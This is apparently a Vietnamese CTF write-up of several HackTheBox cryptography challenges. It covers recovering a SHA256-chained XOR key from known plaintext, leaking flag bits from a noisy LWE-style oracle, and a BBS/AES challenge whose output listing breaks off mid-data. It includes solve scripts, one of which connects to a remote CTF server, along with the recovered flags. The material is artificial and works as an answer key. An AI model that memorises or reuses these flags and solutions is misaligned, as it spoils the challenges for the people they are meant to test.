  • chunk = data[i:i+LENGTH] sau đó các phần được chia thành các block có độ dài 32 bytes

  • encrypted += bytes([a ^ b]) các plaintext được mã hóa bằng cách xor các bytes với nhau với key = sha(key)

    ciphertext = enc_0 || enc_1 || ...
  • Solution
  1. Từ trên mình thấy enc_0 = xor(key, plaintetx) mà plaintext này chỉ là 32 ký tự đầu thôi trong khi ta đã biết tới 40 ký tự đầu của plaintext. Từ đó theo tính chất của phếp xor mình có key_0 = xor(plaintext[:32], ciphertetx[:32])

  2. Khi đã có được key_0 thì ta có thể dễ dàng tìm lại các key_n bằng hàm hash sha_256 và thực hiện tính toán như trên để tìm lại toàn bộ plaintext.

  • Full script:
from pwn import xor
from hashlib import sha256
enc = "fd94e649fc4c898297f2acd4cb6661d5b69c5bb51448687f60c7531a97a0e683072bbd92adc5a871e9ab3c188741948e20ef9afe8bcc601555c29fa6b61de710a718571c09e89027413e2d94fd3126300eff106e2e4d0d4f7dc8744827731dc6ee587a982f4599a2dec253743c02b9ae1c3847a810778a20d1dff34a2c69b11c06015a8212d242ef807edbf888f56943065d730a703e27fa3bbb2f1309835469a3e0c8ded7d676ddb663fdb6508db9599018cb4049b00a5ba1690ca205e64ddc29fd74a6969b7dead69a7341ff4f32a3f09c349d92e0b21737f26a85bfa2a10d"
enc = bytes.fromhex(enc)    

leak = ("Great and Noble Leader of the Tariaki").encode()[:32]

key = xor(leak, enc[:32])

def decrypt_data(data, k):
    LENGTH = 32
    plaintext = b''

    for i in range(0, len(data), LENGTH):
        chunk = data[i:i+LENGTH]

        for a, b in zip(chunk, k):
            plaintext += bytes([a ^ b])

        k = sha256(k).digest()

    return plaintext

print(decrypt_data(enc, key))

Flag: HTB{x0r_n0t_s0_s4f3!}

Living with Elegance

credit: Giang

from secrets import token_bytes, randbelow
from Crypto.Util.number import bytes_to_long as b2l

class ElegantCryptosystem:
    def __init__(self):
        self.d = 16
        self.n = 256
        self.S = token_bytes(self.d)

    def noise_prod(self):
        return randbelow(2*self.n//3) - self.n//2

    def get_encryption(self, bit):
        A = token_bytes(self.d)
        b = self.punc_prod(A, self.S) % self.n
        e = self.noise_prod()
        if bit == 1:
            return A, b + e
        else:
            return A, randbelow(self.n)

    def punc_prod(self, x, y):
        return sum(_x * _y for _x, _y in zip(x, y))

def main():
    FLAGBIN = bin(b2l(open('flag.txt', 'rb').read()))[2:]
    crypto = ElegantCryptosystem()

    while True:
        idx = input('Specify the index of the bit you want to get an encryption for : ')
        if not idx.isnumeric():
            print('The index must be an integer.')
            continue
        idx = int(idx)
        if idx < 0 or idx >= len(FLAGBIN):
            print(f'The index must lie in the interval [0, {len(FLAGBIN)-1}]')
            continue

        bit = int(FLAGBIN[idx])
        A, b = crypto.get_encryption(bit)
        print('Here is your ciphertext: ')
        print(f'A = {b2l(A)}')
        print(f'b = {b}')


if __name__ == '__main__':
    main()
  • Hmm, bài này thì nói sao nhỉ. Mình sẽ giải thích sơ qua cách server hoạt động nhé.

    • Flag được chuyển sang binary

      *

      * Cái này để xác định len_bin_flag. Nhưng có lẽ không cần thiết lắm. Nhưng mình vẫn tìm được len_bin_flag = 470

      * Khi mình nhập 1 index, server sẽ xác định xem bit ở đó là bit 0 hoặc 1.

      *

      * Đến hàm encrypt thì nếu $bit đó = 1$ thì mình có được 2 giá trị $A,b+e$, còn $bit = 0$ thì chỉ nhận được $A$ thôi.

  • Thứ mà mình có thể nghĩ được ra ngay là

    image

    với hàm này thì $0<b<256$ và $-128<e<42$ thì hên xui giá trị $b+e$ mình nhận được kia sẽ $<0$. Tức là nếu tại giá trị bit đó mà $b+e<0$ thì chắc chắn bit đó bằng 1.

  • Nghĩ đến đây mình có 2 hướng :-1:

    • 1 là sẽ brute force 470 bit, mỗi bit tầm 30 lần để xem là có khi nào mình thu được $b+e<0$ không, nếu có thì bit đó = 1 , không thì bit đó = 0.

    • 2 là tìm lại S bằng LLL, hoặc là giải ma trận.

  • Hmm.... Đến đây thì mình thực sự cấn cấn ở cả 2 cách. Nếu theo cách 1 thì mỗi bit đều gọi đến server 30 lần thì bị time out và server bị treo không tương tác được nữa. Mà xác suất để trong 30 lần đó mà bit = 1 thu được $b+e<0$ cũng hơi hên xui.

  • Cách 2 nghe có vẻ khoa học hơn nhưng thực ra mình thấy nó còn no hope hơn cách 1. Kể cả coi như là tìm được $S$ đi, thì tìm được $b$, nhưng mình đâu phân biệt được 2 giá trị $b+e$ và $randbelow(n)$ để xác định ở đó là $bit = 1$ hay $bit = 0$

  • Sau đó mình đi bú script của anh Quốc thì thấy anh làm theo cách 1 nhưng trick lỏ:

  • Full Script:

from Crypto.Util.number import *
from gmpy2 import *
import math
from pwn import *   
from tqdm import tqdm
from hashlib import sha256

HOST = "94.237.51.188"
PORT = 32328
io = remote(HOST,PORT)

l = 471
flag_bin = ['0']*l
payloads = b''

for j in range(l):
    payload = b''
    for i in range(30):
        payload += str(j).encode() + b'\n'
    payloads += payload 

io.recvuntil(b'Specify the index of the bit you want to get an encryption for : ')
io.sendline(payloads[:-1])

for index in tqdm(range(l)):
    for i in range(30):
        io.recvuntil(b'b = ')
        b = int(io.recvline().strip().decode())
        if b < 0:
            flag_bin[index] = '1'


flag = ""
for char in flag_bin:
    flag += char

print(long_to_bytes(int(flag,2)))
  • Flag:HTB{di3tributed_error_not_e5ff97267405de047b7842e6fad3a36c}

  • Như mình nói ở trên thì mỗi lần brute mỗi bit 30 lần thì rất dễ bị time out. Nhưng mà khi $payloads = b'0\n0\n0\n...'$ thì không bị. Trick lỏ quá.

Bloom Bloom

credit: Giang

  • Source:
from random import randint, shuffle
from Crypto.Util.number import getPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secret import *
import os

assert sha256(KEY).hexdigest().startswith('786f36dd7c9d902f1921629161d9b057')

class BBS:
    def __init__(self, bits, length):
        self.bits = bits
        self.out_length = length

    def reset_params(self):
        self.state = randint(2, 2 ** self.bits - 2)
        self.m = getPrime(self.bits//2) * getPrime(self.bits//2) * randint(1, 2)

    def extract_bit(self):
        self.state = pow(self.state, 2, self.m)
        return str(self.state % 2)

    def gen_output(self):
        self.reset_params()
        out = ''
        for _ in range(self.out_length):
            out += self.extract_bit()
        return out

    def encrypt(self, msg):
        out = self.gen_output()
        key = sha256(out.encode()).digest()
        iv = os.urandom(16)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        return (iv.hex(), cipher.encrypt(pad(msg.encode(), 16)).hex())

encryptor = BBS(512, 256)

enc_messages = []
for msg in MESSAGES:
    enc_messages.append([encryptor.encrypt(msg) for _ in range(10)])

enc_flag = AES.new(KEY, AES.MODE_ECB).encrypt(pad(FLAG, 16))

with open('output.txt', 'w') as f:
    f.write(f'{enc_messages}\n')
    f.write(f'{enc_flag.hex()}\n')
  • output.txt
[[('d5370c7ba807cdf4dd3d35cb533c526e', '659ada040f8d9e4d9d5f621d992c3ec04e0137232d0a011835aa188f3531f17632574c8d431d179786f7215c5668bdaacd23823ad319e5a4d836aeada0e5cb4a2804a59f3856ec998dd59ad3d225e76b94cf0987032db19369280a913a3c3277515550065b2bbd87eee52e58519746210823cdaf6a6fb29b67b0da457fa9bb960eec472689602c43505c57ef73567e68f2859d4c04c1045a89052f3f6907eaa1992e8e7a4d0100981d01dbf2bb6edc1a8ed195866fe49be41ae76b9ec1a220a125eb4416ef69567b4c2b65e49af0d7f6f7f2dc0b5753f6eeb3c1a5317705b466bcba6930b8aa7d9b8c1f40590a367f444cb3851cec7c5f60a47144fd204bf361a90f068b11fcf396623d64a4281c990a1aa7715da7c11db69d5c675c6b02485ccb49355135f0038ff0937e589538f910eda2546d17b4f276a3ceaec40d2dd0edf02141ab14183232e8a255c686ddda4790638c472828c4380eef9b32d9bfc242c27fcee9ae296d85e6d12e8949537a62be2f2a39ab76d72e48137d6d412a7633df1d297ea9d3e45a440fd8b1b402305ca2aad97109595648721af60a50751d2d8b27759a763f86ad9dd73a35ee33c945c0ab807b1dcb45fe939bc665f5ba457687ef24bbbcc887a2bf0aaeac06781c4c1b1ae0465f53cf83d3ce0b7b85e2cfdef5edaa9c3a3e300deb76210a01516d7fa9543ce0567e50cd9b0d5ba5309d81b7'), ('82ed475a8f9538fd70e4ff7626615c8f', '0e9119fedc117201d1bccbe294bbc71e1645fcab24a1b345a7fb926a9d0f09337a108b8c41fc53810dd1834c814edffbb816cdb3b1d1eee9984cdd9983604f39ac0d766b96ddafe70c2c20d5a4aef689afba4c9bc294498b8beff984fcffdfe6019b1a160fd78e9cb30940df2a9f29454162f7e3cbbbab95bee8b0fe334ff67742019ee406045f856df897db31eaa73e117464d755bcee4dc5ff36088d4d088c96f80142fcf62c3fb2253f449ed5094eafbf91a23b1a95ed3ed7456d2bf73bbc4a74a339e1e9b3da0836e05c117ab15b9248d946ab07da2021d4ad2b2ac1323632316735c827caffb7c886b9da3e3d4ccfb37b7d00b224cd32f57f6ea047492086bea2e9fbf80ed33714600e620aea773fe3cde7dc3d1032c32cca39d64cb87ab12344fdf7746e50564fa7b6b981f1c7b8ae85ac843d60bca27b12b82828e13368d0feadb42b30a6997dfc2cc8c636167e0c200d21e38a6210c43218cf8ae4c5e5263e2251e7288e71b8b3db439ee03af7821d2f8866200d5aaa30b7daa0bf4ccfb59eb83f6a3564591715a6410a5bd6b0ef541f3a77adacbf4bf7d049ca1176bd6efedfe87907c08037c5588cdf487f9a21d6a26ecbfada7193c734e486a959df20a2c91b47bdeec55953ba0258ad31095d0281b9a7278971e6525be049fcd42c261fe9f57490a39d9c3a216d1dc376b09a522900867733bd92f5dd503a1da3'), ('be222d2efdc80a1a23e8b8088f1e1473', 'd0244077eead4271ca8cc7fd30a60c282b89bc622f17803c5976f52ffe353d236c2b483a347425bef8403a0b415065f20d78fac48e99f48e1cc7b3a4302595792a9e96bff33129fd550240603862925e0a4f319e148eb202c7c61a97cfefb0aa5a7402d664ca64f4c83a9f6de7702f148b040c1c749e03ae6f1265d103b24f66eba3dbadbed573d9c504af84af42cbe8be23b9f6fcd61a942372362c23fae7d2beecdf7ab7ae5df92155f056fa052e292ef12e89aeb2c4ef1ece0b7cc573a1fbc03b61024ab1dccde03047a97d6b126a39d378dc764817d6b5c4a32f0d90e7bc7e591ffc368fea0253b45aae4ebb3c588d2491ecd639cf34b952ca2aa3e1d9d2f4601ef0a30aba377fe37508c092654f5e447d009a53fbb101b43b9a4b30eeafaf7211b22cfece5b735f93ad484fe0367564ddf46b72baba913643a16196224545086c8590ee6aa4a4ed464a84de0154db3542446ad0a442e2bc2335b5757633ded5a8fd74528df391f138bf27dfa2a1602f9462127c13531823acebdb2329751e7fec1a55a09d61b5f74a432c4f6e8bac71e164e790a2dc076ff44de549c3d051bed4a0e94fa703dca0d26b799e47088ff04605d9e77e0e7c10f815535393c4b9c2a2147b7fb65af99e466e221f3c00927d34a3efbacd381c312628fc9dac3b9bb151337c7251923f31b97e66a3713ef3ab6d2bae8c11434b8aa76565224215'), ('0e9aba891fbef039ebe7c5de133abaa2', '8695eb90e9ffe9774171301237475542a55f437d94e98e80329567a08815a60fdbd6160ff93df18a4af74ab864f92c9d5aa5fe39b8fefb26b14f265ace787a28b9b27e41bb40f6aac23b4658dce858b6d051f3cb87a6ab1ab48bef6f86096cf17dbc552adc6bba62aa08bd4fc54c6274a355cce99968d0f29fccc4da9238db451623dd6b9ab1777ed43f7c457281f00bf1b8560fee1ee39e8b9e858ca3d7c974e877ae6962af0a2d182735b6f5205ffe2465019eb56edcb6ad98b02647e5385e16a7517a23dd4606c6305b593e34acb801bf9b2c27c126cb916ed84b352a858ddeee4dccab256bdddf59162c5d541a4e6525d44686bdc3a4c34b42c874ebaf32bf2107aa2ba819a92945c5542d2a61cc7871cc6a6f82f5069143f7ad0e605685eb010070c0bb9c54162cb65c1123bcce90839aa22633dcbff76b747b98ea926e1dd8d4438649690212e2170db6fae6d52934f2479f77c12ee5f29f3165b26c3c69979e0d3581bdfe2f35de94c18bc707d8bcdfee24e9602ed289474fc6f453d1d89581b3b4abeaecff51e70a3132c79486338bf8d766e08a72207cf02e166bd7c0831fff5367565b3a0ec8e361b0fdd241c33ed4a492971171e29c0b3b69dad4c2c65b2b91353b4a0de669f196efc67aef5edac99b370f78ae2af181c25a4b318ebfcc7f217b9c70dbad81c472267fd95cbdccd4a5922f564035f437a5d0d3c0'), ('be7dff01a5ba39c286ceab3161de8cb7', 'cd0db3bd2c54bff8628ee15fee2de935326b333f13c3544523bf939e5f0e875d19282717f858b054fd7379c1e5e25e56d39eade7aaef15e8b091336156466937cf33112a1fe73c151891cfa76854efd9cd9c7722d12cea7eb6884fe7ecd34deb0f50109143a64448cc06f6f936167469521077a991f716d9f42e529c59f9c31dced0a1b6dcc1557db2d4e95cf0f3823d1bef30d84dee5c6f73a085d0ea2e8c48bfa39986f403eb86c8e4756d79be20dd7f9d9155c13b6c8524c6af0c8ad42ff29d8fa05a530231efcc7870c4ecabc3ab6468ba01e61894b3b26feb4055f65d9aa6477af4dc26cb9a08a393bc66a0a0a153d8fdd6231c09dc6a73961b5520b71ec85db6bc6991c45531c66f9e198b8ed7a3ffba0c3315bd967884fc95ab88798be51c9fb10bcab04615ae632796085d15295a3979554f35412a3e976ebe5f7fd46719bf1ed8b324b3e168265799e475dc778bb93843f0a8087735a65aac076610b7023e0c0ca0b411ad9295751496e24c0a490ba35c245f34f960c5d8923433737ed340fabaad92b08768384b56a468aad69a9941d295f15956a9b4a13d564adec73447715b5e69dd342fe8f9d121d2725f729a9d719a1d9d098a9eb163e48d927f7a2d4b81671c297d874a83556998578657ae3b6574ebcf47c481c841b14768acffc759a7382c6184456d7f1312fef990fc9cc0078919c0cf4d00df12f31c99'), ('fab5094c91fbb6cc225bd640e7d62d74', '11c58d4db6229c9ee42db7f0188fb907b79d1a2e1ad825113d7cccda7792319853cc4d543862c7e55a3b804da3424850bafcf3f13e6f35f8071b112c0863bbf3d382ecaea81a58a41a542a0fb78544a276e5b91db774fbd0ef86cbb423cf1e4cf4e9ab4bcfb38658c6cd66672824c6d9d8d9b5f17564d889600a8819027c345ddf61376ba8a05da7e33bbf2acb619533c43b950622f5a984384191c9b1628bb760968a6c71534b94c1615849b25b6903f16045b206258fd627ababaff252b263c16f3b4ff6c1f2f0160b55d9d6e0c38a7ef509ef8f66184f099ca1efaf0fa9986181741712a0d5ce6f985012acc94e337fc31ef2d89cca49daa5a4573257c22f0b6be2f726af13adb518e1c549beb4e0b32d4126aa82714f73895b7651cbecce3348f1afb7a7d9a8a4e3ee2fbda4d441b88f75fcba25c64960cb7c898870ffb96dcf1f244b45cc89dbbca6ab0f20fbfdf11e8b00b0769d3b947eb61ad6f0c8b68491fef5d29f16e1a0b2f20bed46f0b316adec255143266b322033481b370fe7ddbcfd1abae4dbdd05b6b3b2d24378e81012bbccaac6cbdb38f48e7ac573a260503c98fe181be01a00cce2fceccdd132a3c68f8e4b385b98fe4c5e8033f1db12cc4beaa79b92fa330c238c79c666ba35bee5b4c5477df3aff2ef45ff847592fad6e811953edbcac90ff409a65a8bdc5122224e9a9358c66f6a102504838a37f5'), ('e903df76c8ccce9cd06cfa87c6835e2a', 'c88143698c599edf490f135a310b4f045c7bb3d4472cb731d676684206f5b140a5b36d75624f3dff0fde7d44ebb49514f8c59f4ec0e7db95f2746f3071503d72a39bc122193b455ea232e52a5946444c5b8104ce2fd94078ce8710dfe5e628e5fcdeae1e717a1cad1f3a4a475228b6cc6fef7840936de98e8e370acc7f15145568efbe84a5541a88e9298bcf4cf3a0f12622c6c2f843209b15c153beeebc6e340b6c971a9e08d6c34087e37aebcb2a2765371d6e9328b381ca7c0af0f17333e08952a136edbcb921f3b5970296f4bb9cbba68740bbfcc6bfaabee26741ce4b73478fca00657a41ef60a34f374a77b2dbb026c34ebb4d9a98fbd4de10af9c37613e71cdb450deb91d2a9fd64b928600ad1935bb3fdd53727ee55d3ffce7f760fde247104a5194faeb4e071c55f312d4eaf3f13af4a8cbe4ca05acc6884079d7ecc284a7dcaba2cdf7e6f957d05f1dc28043c29f764aa960e759ce4dd7663696c423cbca8f0caf428efd47db010ed1b905b066fd3004cffe291cfa73a15954533a835f5a2dbc1a13cda4cd2a74ce5ebdec8d64d752c347fe82450823f68b2b28a0178b110bc0c8fcf05122b9ece61b0a4347c1b998215aeb62a41ed5de9eef3b388390d7f8eaadeae04e810675a1f5acb492cec2e9d1eeada22c4b0c10b46b93777d120e44d8462e3fbabcf9d5ab394d2930096416c77e2bbddd06842d4289e76b'), ('fada1c6a7540ff4d6f188c3e7c98a6d1', 'ba1891b249c3da8cb69b7ceb174e48f549e3f5b5e956d30467a7cf32caf9f0f73c1194c352ddcbab2e1d355a3c4697ec5eecf5a27c39cc35dc76586dfdf415e29d44608fa047ede4b2c8474289c99d5fa5b02361f34ab2966cd60e6871ffffc5af9f70619452a76dc8683df8dc6f01cf4e6289fa6d41537e55652714a2035bfdbcac78731480f770ac437192987e09637085e04c4367fe6bd3c6c377ad3ed0c219ad250eb70d5160b1f8a91856e85c2b1c79953e242b67e1094727d737cff6de4ea7f4f8b37ce3c55cf16c608590379e842a358d2da6b3eb7f2a4f934f837d065ae403f2895e1f65bd8cc7ecf86dcd8af534d0a241aa2ee62cf0b39bb20c70cc9bc81992a57aef161503afd5b4e69f63b8d5278f5c15a88cd7c123e3137d44bf547c0afc1b0335364540c45a72c52d47ae87ad4352d1df79fdf1da0e7f6005cdacf03c9d60959a487d8793ba85140466e2272f099aed38ac91a3af1ff8b4b90b2e3db2be9b312b9d625f457ddc7b2e2ba191e5047198e9672c611c0b87c8a3804d90e7de62875b57371ce2087003bdea6712ccabe61a30390557def689cab432fa7c466e179511584d35da4ab9469f64e4a01ab4e88f3b3e142209e4da3e4f008cbe572fd9a387378d363de07f527b0fcee92d03ea11ac7aa4784972ebb50cc26078ff65844959eb240cb05a437a6971543eecb9962daaf322aa239b2e22b749'), ('7ba3d76aa59f6be4e0f3540b532d8fb1', '8d087bc32a81e604fd9b0ad757816e6b5d7417d7a1970eceb8646b0b70a067276ffb15bcc09bc561ee719fdb26ac5cf4457e21b362cf26ea915630a0d3974e61574fb09efe854be7a0609893af8e423c93fe7b3596181706cc1267e911d07af0bd21c64b0fba727695a288174b8f8fce9d8bb77f8447acde7fbaaeb96add55521d00b5df7455c2a93c309334e3947a013e33bcf44a8ad8b7024b77c150146db665a5e9019b059fa741932a1811903fcc02bbd63b7082355cfdb68ec3ea2fb5a5843c34b7db70c70c33e5753e7aac23843e71d910480a3d3209a0ff21fed2101d0629b4cf540ac59761b5fe758f645d5fc1ebe80217000e53bc752a416e44b08feec70095a2f5a113429f2a8e18afb175f0b507d7233229501b788c93fbb5332c5549e6e2eef760bf2035299c5069a9e6c6f3aeb7f171c539c6d78ca84519c8bd9f545077ba4b347437352810b7dab5bea91472e684a128dd38dee423af05b4415c09b04a2d17fe91786a2b0c034c970d1d01e66e669444709da00ae5c56b74594bb6a4e2c15ace8d98ea53d9476fd35952b956ba18581d07695f0ad48266b8f3bc8a42fb8c20fbc1a5ff73b85431d0e6350624e4b4a92b598a6949acb1bf7e16cb9f6d5475a8ec17b0652363ca189f28b7a668c3f1c56057cd41b9f0322930db666789d93a5ef47a3816bd2f02d977c60dd9b72ca8e41f4ca0f0c00b625ef79b'), ('a74569b8b368c959d2986b41b5bed7d4', 'af053b9f202031131d9119867089dc50f0d21ca6a7715fe76f5804b60d9c0a84127e169719c18edfc32ab1c5e59da61c0a75720426d6ad8c7a9ee73a24a5fb537527032b04be4668823364c555369ed9c9efcb6a2bdaa5c4c2754ae4ba6336865ba899229ac7b48dd9dfc4a3d1518625eba0488a76cec69a19fcb31c361dff833310c5e3d791c3885ac53b24b5ffb92353cbeaaf34c1b8324e84cb31c3769c7eae6432cac1d3ff53fd597af46f5c8806cc66a2b206033660b4c808b836411f6893678224d4a096de013ada1731138a67c6b9acacba73752266ec91aba06fdb322e19aeb9498dcdcb5eba768f6441e9c4709fd4b6ea1626dd7443e6a8fe562d66ffa47c337137acd9109ae3f267b123b24a8fa7d288a9f57a885c1361035c7d0eda0e2b72371e1301a0cb001ef63d2d825ffb24a354935339fe147c7d13c853cbd554015857e1f65d91b798c948404201eaa486d014d976ca5bb9dcc3b8f1415217988c8b80fda150e836d3564515cf2b48998f14dbeae202f76835b40e925179c1c974a02d9d5ef221b484e0a0cf2f12b101bdc7a34903e969175760a505ec5a760ccfa60a4a78f2146cd5b08c77673457c3fa28338bd44b808f25e1b1160c480bca739d63577577ea8de0dd0ffa1dc076d9b7dabf0f2a27b5303b7aa618c03cb0e2b6ed86f790187a3b8aa83ea4a3ffc46d0787ff73bd1c0d1b8121aa914f58')], [('994218d2f5b7f8672d717eb4b89b2e20', 'cddd35e945daebb0916317465d8c2204e9884caa749d2c9e30c25698fed3888125f438bdfcf045085fa6fa1b4a2286556ad7a719ab50fd2efadd926b46122f698974682e99bd548bd9233591572e16e52a2de330339e8d4614b3a361198ae90abd234d4aca79ba9633dd1eecad53122a28207b72112f85001faa4cb2d32d29fd997a5187bc9596f7ada608909ae3cad66c03ae2a1429a7d21416f4fc5008fc3fb95531e6b47956308b9baafe59abd7252f5cd9e6f24f02452ed9bf7acd7af1781871bd34803eaea00351be69609b131857172a1ee44f75c4a34663a8cb3ae193c2c8a5a1e8fe4e6f6de52d8dabdd1cab6cf636856fc40d521a5170aa27b160932b0a960de261560b3f44f3ae2d905581cda9adaa0c5884939cbcb100409ffc2d6525b56a6afd53d5c94ba283292989863273b08dd2e77274aecf18a17aaf9aa958bc9aafefe75663358717071d9ce2fa57cfe40f47327cb60b63297958908a67ee474c695988731157a58f6862fdcaf73f29e12d289373389da725cb88d301b22fbbd737c87e9220f8d8cf9318d812b0501ff2c5ae01dfe50021fc45af982b804c67d3948b4ba7a54e4a76de102164384de390692bf3f8c61769ddfaef3e0591610620c7c7745b99d74c714302ee976d865445af99ebfe1da1cde3887679b92edcc4146a50951538135bc0dc64676434'), ('c21792da2deb8b4aa203e157e8af7d37', '3cb9b8b918c6c24ab45fcad36896f90669523e058323c077b3548f5d5f9dc715c1aee582c5ae1b093c4799b0bcfcc3cceb6ed1ae858a097e4806749eb69024df9069582ef765934ef176b9c47485083fad0466591b3c461fe9f7d871d40c65c1b20867ea4bc70439d49453f02fc73a80bd46caad26adfb2737b469671b0866213cacb09881e340ce78a1de622400af9721c74e9d4315026a49f1537b05d877eee33a8b5f734dc1944ed67d9a6f6e88a9d4540b06bf404e2a61be7fbf708dc252fa1a14f4284bf7bda57c832d68f7d4ec6e06674863fcb80af035a7ab77219c87ecf5891b1ae287b77776f3f5bec81161f3ef33f47c78b4c84d8d57e8f95218525f94b478b74aff479647df3063f750df10208fee2eb19bdb0f6131bd6a6cb49e6ae83b14d8a29aec7476ca6bd94fd54b3b55b1ea15b5b6d96e201f15060df50d2c1ee3ac67892c5bbf230a187248b5722cab72072c960588066914df55dcb5e36d472a1fc2c88a38bded6ce693375f9d2048aea3a6b85a3a03a7d8fb4b21c39beed5d4ada1202ff4da99d10f17ae2a699e45f12493f0840e736e2a6f228a255abf47b3aaa11ef13f73d26a3f2218e140ab54cf390932d710c1eaad10be3847408e55d56dd9ef1b5c12d53455c3720284d3bb77b16a71c82f62de1c69744a2108ee2ab5407f563ca68efafb66182932bb'), ('95ef92d52db7cbc0d9a1ca0654e15e44', 'ac948a3859382b32ab468cefb80804db1639b7b8527b03cb3ee4e68f83b96c41dd40bab4508231dafaf40375e6c5e2c3418396e7eb18b32428fa4dc93fe0037b08c3800f72210fa4c59a129790bfaa853a83f5eee54e26b0cf3946bd5fde2701cc6251472f53ba37d5d34d53d3caf2af78fc35974b3dd4c71df10ee4ace821ff3f8460597e5299fb9ebd4c6bbb5193a248b80c42b001bc34477989d496eb32072f141679eac5e587d3ca11fa4d7c9fd55c3e076827ed8777970f608386e7f8e85035d5f3a7fe677ade24e2990d1a09bd6ee246c95bc3925ef8ea8c0c369111ff238aa87d68171b41f382f6c6f13128942d22fd232c6984f08369b954a92f18bc1764e0c6f48322bb6b0a4a354ec08914b73bdb8002024fe8a9d8c03440b1326d6ab04e41b3771904ae6f875a33962490ea4c24d65796b9dd4341740b8ef57bf144b8151f598d3b924532a7e5c582a564fee2dc515aee8f0996a2103047ccd70483007b3c1bd60a3a0780069e0b3aa2d3e33e6b6a778c874ac7382f12f45e82abfc5e8dcd0da565336d96199dfb55358f57a3a7b675beba721c781290a1b75a3e81ff79bb66ce97adf57e07165989661d49c8f99a962e0061470c1f9f12dcfd6cdb054b74da23a7fdd6dcd7c19913c40040b4c7231195bf1b3454c59d541cebfabb3ff96fc8c09cb383c37d8cac8a7026'), ('30540b906f3fc72458264fec14411bfa', '1d8f7a85b78c811ced76ac282444021f189700092e167fb751f47e07b2721f918e60d9d6f99d84997578261e7aa6aad17e7f0e654f7f33ae5f49b4f146ade06fd06e222d1ad0c909e0f3940042f5d01742bab8a3a3c90cb9c912c71f0e10983b7f2923b3070f6ef4d49ecfdab11757abe1c6238c112ab71fb4570ca3b574ff0790c4be1a41b37e7bc74cca137e23697c6f89eb95f5fbda4b8efdfa0dbe1900b3fb60b524a7d4808477cd391e66fb8afbfbb1a2742237700f555e3bbc79fc44dc79e1a7dece315e37280328b8c93a110d56d2a4978a644db8c24018252c384b7bcb5fd732e48ceb89c937114ee64fc380d0c5602d813c1b78f5f60811c92e5e98162e943336e6d216629724acb4d2d3be32fd7f83dbae2239b2bf3944499abc7f1e262a3f384be75effab8df43a181a5a87787f1e05914fae9826d11606bae3cf1d7573da4835ad2c3c12f1f50d3352c0a646c3e515cba755d9711f2c70779a9da950474b445f33ed0c36125d2b9c82a70749fc342be839e1665c609f679bd2d7a78c65b142a0bd2a2a7660752c1c895c4e5b88e90959ced4210dacf38e8646afad88b9ca5af52cebe75f025b1b527bd3401d060cf039a43b7e5a896174ae158ad7d7607761be4bab8760f573565e1a147cb7ed80b4fa8253e09c2b79d5592ac5d1ddde3e5dcbc2d8e0cd7161306f4c7d'), ('1d20ed96564d823c1bfdd68eefe1a8cb', '0085ab5b06bd4550d451a23068c8d5205dc80679c7fd75e958ba785022ebad73b35b661ea726b301a8fb58e5e2e156d282765f66f3891b9ed571c73c9cb390d9fa818da34c54f4e6d90bb6f38e255fe55a79e04e41312a2c31ae603bfbcdd157e8b1dc24f9333e36b242d1a93bb828ddae178fcccd5af81453c0688a094b76519bdc1f1b0a84001572b053e1f0647a3d2984c785df6d2520839598edaddfcefda49c3fd96c3ef82f42e60c9b849be0afcb19047ed7a85d69198573c255022d97b40c121a84beeea1b78b6bf26086cf06666711df206560f0ec4b4d0265a4db19f3b8814b1b54d24a8631fbc83f94613bcc28aa8b1730e487fe7275c48d6e3456b75b2e0e7e4f24c9e6cf2d97e8ece5d909f83f1d4c3b43fd3269a2bf65aaaa85a159c660235c549715bccbc41d2708fd690da640a10b297d50d0ad7fb0996ad4d7266f7bdeee21ec225e0fdcdd013561c5d4d3122200eecdeaf8cf13a8a2583111c9ff74244dd63bb8ca0b6c580d38e36477740401f29c5e4a3b51ba06eddcac7c7ea004d67be49fc39eea4400e4e82395c47715c824207bc1d81b919a9f990ef4c83ecb457ed411173604be9f5be6e54b1f1985e31e2eb4a654173a38b92341c8ef82cef3760f2d04961c7f056a3a4c4ab0c4d752e56d7d301efb4f8b7fa01bf9b813dff03391bc70577815c88e077d'), ('2566fc6e0531677b58f2af04e2da2e18', 'c52249944d5c671b5f064ef8d345e7f7abfaa9eac847fc2657fdd4112edfe490580bc5c2812f864ccc5c5e1804aac24bbba5a2bba1a93c300afb3877e97a29fad0ff6434b3651f63950c2a996a729dfbebc6ea7f72e76c9d4252a8fb39b21296fc2d90f911cb2fb1f9dd02e71ba8b941ce5d2ce40b4f5c31d56f04caf84f238c41b543b49ac563f2a92a84f7a2f26a895c1ef014edf9cb9e41ee12c4b5e1d0a3e3499e59c007e8339a38f2af8aeb7e2bc86e401f7a86272546f2d46638c0fd826ebce2ca1b5a667ca2fc2b499cb8418e208ea74f9e534fd8c235cccddd83c158623c8712a379fb52abd9d9a41309f57fc3e0887d52e14b072acd8abb7e227bd97fed58574a360217616fae7d02b60a3e5644cff84a55ff9d7f70193a2fb2e7bd29e3759fc1ea47948ab6e1ac3e1941fd56c2a817855de3cfd7f95571afbccf4d169313d1a3bc18a89b48f1a0a059f39e9a80eab90afc4a5708a41916672a4eed8ff1d92ec43a46fb83db47f0ba662ca7c3fdd16b18ad4898a158f563d6384edd08236035a70d5eca884187058597055e8aa9514399f3f8e108a52e7fcf3bda4c780100a86b16a77f145030d67955256781d5fe994c3f66aaa430d0d1fa6dd01e9f5e27590615bb845694f2322fb833588f7c9a86448f303831d024fab302f4b9c4f73eca66c801f0dfbb3c83d6509508'), ('8012bca9c9ebdeef25b1a816bd4ee9e9', 